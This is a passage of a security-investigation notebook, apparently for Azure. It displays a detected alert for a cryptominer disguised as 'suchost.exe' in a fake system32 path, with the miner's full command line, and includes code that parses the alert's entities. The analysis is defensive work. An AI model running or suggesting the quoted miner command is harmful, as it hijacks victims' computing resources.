       "    <tr>\n",
       "      <th>ExtendedLinks</th>\n",
       "      <td></td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>WorkspaceSubscriptionId</th>\n",
       "      <td>40dcc8bf-0478-4f3b-b275-ed0a94f2c013</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>WorkspaceResourceGroup</th>\n",
       "      <td>asihuntomsworkspacerg</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>TimeGenerated</th>\n",
       "      <td>2019-02-13 22:04:16</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>ResourceId</th>\n",
       "      <td>/subscriptions/40dcc8bf-0478-4f3b-b275-ed0a94f2c013/resourceGroups/ASIHuntOMSWorkspaceRG/provide...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>SourceComputerId</th>\n",
       "      <td>263a788b-6526-4cdc-8ed9-d79402fe4aa0</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>CompromisedEntity</th>\n",
       "      <td>MSTICALERTSWIN1</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table><br/><h3>ExtendedProperties:</h3><table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>0</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>Account Session Id</th>\n",
       "      <td>0x1e821b5</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>Compromised Host</th>\n",
       "      <td>MSTICALERTSWIN1</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>Parent Process</th>\n",
       "      <td>cmd.exe</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>Process Id</th>\n",
       "      <td>0x70d8</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>Similar To Process Name</th>\n",
       "      <td>svchost</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>Suspicious Command Line</th>\n",
       "      <td>.\\suchost.exe   -a cryptonight -o bcn -u bond007.01 -p x -t 4</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>Suspicious Process</th>\n",
       "      <td>c:\\w!ndows\\system32\\suchost.exe</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>Suspicious Process Name</th>\n",
       "      <td>suchost.exe</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>User Name</th>\n",
       "      <td>MSTICAlertsWin1\\MSTICAdmin</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>ActionTaken</th>\n",
       "      <td>Detected</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>resourceType</th>\n",
       "      <td>Virtual Machine</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>ServiceId</th>\n",
       "      <td>14fa08c7-c48e-4c18-950c-8148024b4398</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>ReportingSystem</th>\n",
       "      <td>Azure</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>OccuringDatacenter</th>\n",
       "      <td>eastus</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table><h3>Entity counts: </h3>host: 1, account: 1, hostlogonsession: 1, file: 1, process: 1"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "{ 'AzureID': '/subscriptions/40dcc8bf-0478-4f3b-b275-ed0a94f2c013/resourceGroups/ASIHuntOMSWorkspaceRG/providers/Microsoft.Compute/virtualMachines/MSTICAlertsWin1',\n",
      "  'HostName': 'msticalertswin1',\n",
      "  'OMSAgentID': '263a788b-6526-4cdc-8ed9-d79402fe4aa0',\n",
      "  'Type': 'host'}\n",
      "{ 'Host': { 'AzureID': '/subscriptions/40dcc8bf-0478-4f3b-b275-ed0a94f2c013/resourceGroups/ASIHuntOMSWorkspaceRG/providers/Microsoft.Compute/virtualMachines/MSTICAlertsWin1',\n",
      "            'HostName': 'msticalertswin1',\n",
      "            'OMSAgentID': '263a788b-6526-4cdc-8ed9-d79402fe4aa0',\n",
      "            'Type': 'host'},\n",
      "  'NTDomain': 'msticalertswin1',\n",
      "  'Name': 'msticadmin',\n",
      "  'Type': 'account'}\n",
      "{ 'Account': { 'Host': { 'AzureID': '/subscriptions/40dcc8bf-0478-4f3b-b275-ed0a94f2c013/resourceGroups/ASIHuntOMSWorkspaceRG/providers/Microsoft.Compute/virtualMachines/MSTICAlertsWin1',\n",
      "                         'HostName': 'msticalertswin1',\n",
      "                         'OMSAgentID': '263a788b-6526-4cdc-8ed9-d79402fe4aa0',\n",
      "                         'Type': 'host'},\n",
      "               'NTDomain': 'msticalertswin1',\n",
      "               'Name': 'msticadmin',\n",
      "               'Type': 'account'},\n",
      "  'EndTimeUtc': '2019-02-13T22:03:42.8164656Z',\n",
      "  'Host': { 'AzureID': '/subscriptions/40dcc8bf-0478-4f3b-b275-ed0a94f2c013/resourceGroups/ASIHuntOMSWorkspaceRG/providers/Microsoft.Compute/virtualMachines/MSTICAlertsWin1',\n",
      "            'HostName': 'msticalertswin1',\n",
      "            'OMSAgentID': '263a788b-6526-4cdc-8ed9-d79402fe4aa0',\n",
      "            'Type': 'host'},\n",
      "  'SessionId': '0x1e821b5',\n",
      "  'StartTimeUtc': '2019-02-13T22:03:42.8164656Z',\n",
      "  'Type': 'hostlogonsession'}\n",
      "{ 'Directory': 'c:\\\\w!ndows\\\\system32',\n",
      "  'FullPath': 'c:\\\\w!ndows\\\\system32\\\\suchost.exe',\n",
      "  'Name': 'suchost.exe',\n",
      "  'Type': 'file'}\n",
      "{ 'Account': { 'Host': { 'AzureID': '/subscriptions/40dcc8bf-0478-4f3b-b275-ed0a94f2c013/resourceGroups/ASIHuntOMSWorkspaceRG/providers/Microsoft.Compute/virtualMachines/MSTICAlertsWin1',\n",
      "                         'HostName': 'msticalertswin1',\n",
      "                         'OMSAgentID': '263a788b-6526-4cdc-8ed9-d79402fe4aa0',\n",
      "                         'Type': 'host'},\n",
      "               'NTDomain': 'msticalertswin1',\n",
      "               'Name': 'msticadmin',\n",
      "               'Type': 'account'},\n",
      "  'CommandLine': '.\\\\suchost.exe   -a cryptonight -o bcn -u bond007.01 -p x -t 4',\n",
      "  'Host': { 'AzureID': '/subscriptions/40dcc8bf-0478-4f3b-b275-ed0a94f2c013/resourceGroups/ASIHuntOMSWorkspaceRG/providers/Microsoft.Compute/virtualMachines/MSTICAlertsWin1',\n",
      "            'HostName': 'msticalertswin1',\n",
      "            'OMSAgentID': '263a788b-6526-4cdc-8ed9-d79402fe4aa0',\n",
      "            'Type': 'host'},\n",
      "  'ImageFile': { 'Directory': 'c:\\\\w!ndows\\\\system32',\n",
      "                 'FullPath': 'c:\\\\w!ndows\\\\system32\\\\suchost.exe',\n",
      "                 'Name': 'suchost.exe',\n",
      "                 'Type': 'file'},\n",
      "  'Type': 'process'}\n"
     ]
    }
   ],
   "source": [
    "# Extract entities and properties into a SecurityAlert class\n",
    "if alert_select.selected_alert is None and get_alert.selected_alert is None:\n",
    "    sys.exit(\"Please select an alert before executing remaining cells.\")\n",
    "\n",
    "if get_alert.selected_alert is not None:\n",
    "    security_alert = mas.SecurityAlert(get_alert.selected_alert)\n",
    "elif alert_select.selected_alert is not None:\n",
    "    security_alert = mas.SecurityAlert(alert_select.selected_alert)\n",
    "    \n",
    "mas.disp.display_alert(security_alert, show_entities=True)"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "<a id='entitygraph'></a>[Contents](#toc)\n",
    "## Entity Graph\n",
    "Depending on the type of alert there may be one or more entities attached as properties. Entities are things like Host, Account, IpAddress, Process, etc. - essentially the 'nouns' of security investigation. Events and alerts are the things that link them in actions so can be thought of as the verbs. Entities are often related to other entities - for example a process will usually have a related file entity (the process image) and an Account entity (the context in which the process was running). Endpoint alerts typically always have a host entity (which could be a physical or virtual machine)."
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### Plot using Networkx/Matplotlib"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 36,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "image/png": "iVBORw0KGgoAAAANSUhEUgAAA3gAAANXCAYAAABnlP2tAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAALEgAACxIB0t1+/AAAADl0RVh0U29mdHdhcmUAbWF0cGxvdGxpYiB2ZXJzaW9uIDMuMC4yLCBodHRwOi8vbWF0cGxvdGxpYi5vcmcvOIA7rQAAIABJREFUeJzs3Xd4jff/x/HnOdmRiCRC7VIValMktliNUSsiVpWWllZbRY3aipaWWlU/VIUEsWfbb2vvUVuJvVdsspNzfn+kDmmiNULkeD2uq1dzzrnv+/M+J7dz8jr3ZxjMZjMiIiIiIiKS8RnTuwARERERERFJGwp4IiIiIiIiVkIBT0RERERExEoo4ImIiIiIiFgJBTwREREREREroYAnIiIiIiJiJRTwRERERERErIQCnoiIiIiIiJVQwBMREREREbESCngiIiIiIiJWQgFPRERERETEStimdwEP4QCUAy4Cielci4iIiIiIyPNmA+QAdgCxj7rTixrwygEb0rsIERERERGRdFYF2PioG7+oAe8iwI0bkZhM5mfakKenC9eu3X2mbYg8Czp3JaPSuSsZmc5fyah07mY8RqMBd/dM8Hc2elQvasBLBDCZzM884N1rRyQj0rkrGZXOXcnIdP5KRqVzN8N6rCFrmmRFRERERETESijgiYiIiIiIWAkFPBERERERESuhgCciIiIiImIlFPBERERERESshAKeiIiIiIiIlVDAExERERERsRIKeCIiIiIiIlZCAU9ERERERMRKKOCJiIiIiIhYCQU8ERERERERK6GAJyIiIiIiYiUU8ERERERERKyEAp6IiIiIiIiVUMATERERERGxEgp4IiIiIiIiVkIBT0RERERExEoo4ImIiIiIiFgJBTwREREREREroYAnIiIiIiJiJRTwRERERERErIQCnoiIiIiIiJVQwBMREREREbESCngiIiIiIiJWQgFPRERERETESijgiYiIiIiIWAkFPBERERERESuhgCciIiIiImIlFPBERERERESshAKeiIiIiIiIlVDAExERERERsRIKeCIiIiIiIlZCAU9ERERERMRKKOCJiIiIiIhYCQU8ERERERERK6GAJyIiIiIiYiUU8ERERERERKyEAp6IiIiIiIiVUMATERERERGxEgp4IiIiIiIiVkIBT0RERERExEoo4ImIiIiIiFgJBTwREREREREroYAnIiIiIiJiJRTwRERERERErIQCnoiIiIiIiJVQwBMREREREbESCngiIiIiIiJWQgFPRERERETESijgiYiIiIiIWAkFPBERERERESuhgCciIiIiImIlFPBERERERESshAKeiIiIiIiIlVDAExERERERsRIKeCIiIiIiIlZCAU9ERERERMRKKOCJiIiIiIhYCQU8ERERERERK6GAJyIiIiIiYiUU8ERERERERKyEAp6IiIiIiIiVUMATERERERGxEgp4IiIiIiIiVkIBT0RERERExEoo4ImIiIiIiFgJBTwREREREREroYAnIiIiIiJiJRTwRERERERErIQCnoiIiIiIiJVQwBMREREREbESCngiIiIiIiJWQgFPRERERETESijgiYiIiIiIWAkFPBERERERESuhgCciIiIiImIlFPBERERERESshAKeiIiIiIiIlVDAExERERERsRIKeCIiIiIiIlZCAU9ERERERMRKKOCJiIiIiIhYCQU8ERERERERK6GAJyIiIiIiYiUU8ERERERERKyEAp6IiIiIiIiVUMATERERERGxEgp4IiIiIiIiVkIBT0RERERExEoo4ImIiIiIiFgJBTwREREREREroYAnIiIiIiJiJRTwRERERERErIQCnoiIiIiIiJVQwBMREREREbESCngiIiIiIiJWQgFPRERERETESijgiYiIiIiIWAkFPBERERERESuhgCciIiIiImIlFPBERERERESshAKeiIiIiIiIlVDAExERERERsRIKeCIiIiIiIlZCAU9ERERERMRKKOCJiIiIiIhYCQU8ERERERERK6GAJyIiIiIiYiUU8ERERERERKyEAp6IiIiIiIiVUMATERERERGxEgp4IiIiIiIiVkIBT0RERERExEoo4ImIiIiIiFgJBTwREREREREroYAnIiIiIiJiJRTwRERERERErIQCnoiIiIiIiJVQwBMREREREbESCngiIiIiIiJWQgFPRERERETESijgiYiIiIiIWAkFPBERERERESuhgCciIiIiImIlFPBERERERESshAKeiIiIiIiIlVDAExERERERsRIKeCIiIiIiIlZCAU9ERERERMRKKOCJiIiIiIhYCQU8ERERERERK6GAJyIiIiIiYiUU8ERERERERKyEAp6IiIiIiIiVUMATERER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